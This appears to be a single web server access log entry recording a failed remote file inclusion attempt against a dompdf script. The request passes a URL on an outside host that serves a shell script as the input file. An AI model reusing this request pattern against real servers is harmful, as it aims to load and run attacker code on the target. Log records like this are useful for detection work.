213.165.70.246 - - [10/Apr/2015:05:09:51 +0200] "GET /hack/php//dompdf.php?input_file=http://www.arhip.net/.mods//sh.txt? HTTP/1.1" 404 1467 "-" "Mozilla/5.0 (Windows NT 6.1; rv:6.0) Gecko/20110814 Firefox/6.0 Google favicon"